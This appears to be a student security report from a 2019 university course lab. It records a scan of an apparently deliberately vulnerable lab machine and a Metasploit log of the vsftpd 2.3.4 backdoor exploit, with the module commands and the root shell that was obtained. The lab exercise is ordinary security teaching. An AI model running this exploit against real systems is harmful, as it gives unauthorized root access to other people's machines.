Security Report prepared for CSCI 1411 - Fall 2019

Updated on 10/13/2019 08:40:57 PM EDT by Lance Hundt

Target IP Address

```
IP Address: 10.0.2.4
```

System Operating System

```
Running: Linux 2.6.X
```

Target Ping Response

```
PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.
64 bytes from 10.0.2.4: icmp_seq=1 ttl=64 time=0.347 ms
64 bytes from 10.0.2.4: icmp_seq=2 ttl=64 time=0.833 ms
64 bytes from 10.0.2.4: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 10.0.2.4: icmp_seq=4 ttl=64 time=0.717 ms

--- 10.0.2.4 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 47ms
rtt min/avg/max/mdev = 0.347/0.662/0.833/0.189 ms
```

Ports open

```
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
```

Exploits

21/tcp open ftp vsftpd 2.3.4

Results of Vsftpd exploit attempt on target

```
[1m[31m[-][0m ***
[1m[31m[-][0m * WARNING: No database support: No database YAML file
[1m[31m[-][0m ***
[0m[36m[0m[31m                .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
         'xNMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMX,
   lWMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMo
  xMMMMMMMMMWd.               .oNMMMMMMMMk
 oMMMMMMMMMx.                   dMMMMMMMMx
.WMMMMMMMM:                     :MMMMMMMM,
xMMMMMMMMo                       lMMMMMMMO
NMMMMMMMW                    ,ccccoMMMMMMMWlccccc;
MMMMMMMX                     ;KMMMMMMMMMMMMMMMMMX:
NMMMMMMW.                      ;KMMMMMMMMMMMMMX:
xMMMMMMMd                        ,0MMMMMMMMK;
.WMMMMMMMc                         'OMMMMM0,
 lMMMMMMMk.                          .kMMO'
  dMMMMMMMWd'                          ..
   cWMMMMMMMMMNxc'.[0m[37m                ##########[0m
[31m    .0MMMMMMMMMMMMMMWc[0m[37m            #+#    #+#[0m
[31m      ;0MMMMMMMMMMMMMMo.[0m[37m          +:+[0m
```

```
[31m        .dNMMMMMMMMMMMMo[0m          +[37m#+[0m+:++#+
[31m           'oOWMMMMMMMMo[0m                +:+
[31m               .,cdkO0K;[0m        :+:    :+:
                                :::::::+:
                      [37mMetasploit[0m[0m

       =[ [33mmetasploit v5.0.53-dev-[0m                          ]
+ -- --=[ 1930 exploits - 1078 auxiliary - 332 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

[1m[34m[*][0m Processing vsftpd.rc for ERB directives.
resource (vsftpd.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
[0mresource (vsftpd.rc)> set RHOST 10.0.2.4
[0mRHOST => 10.0.2.4
resource (vsftpd.rc)> exploit -z
[0m[1m[34m[*][0m 10.0.2.4:21 - Banner: 220 (vsFTPd 2.3.4)
[1m[34m[*][0m 10.0.2.4:21 - USER: 331 Please specify the password.
[1m[32m[+][0m 10.0.2.4:21 - Backdoor service has been spawned, handling...
[1m[32m[+][0m 10.0.2.4:21 - UID: uid=0(root) gid=0(root)
[1m[34m[*][0m Found shell.
[1m[34m[*][0m Command shell session 1 opened (10.0.2.15:42955 -> 10.0.2.4:6200) at 2019-10-13 20:42:13 -0400
[1m[34m[*][0m Session 1 created in the background.
resource (vsftpd.rc)> exit -y
[0m
```

END OF REPORT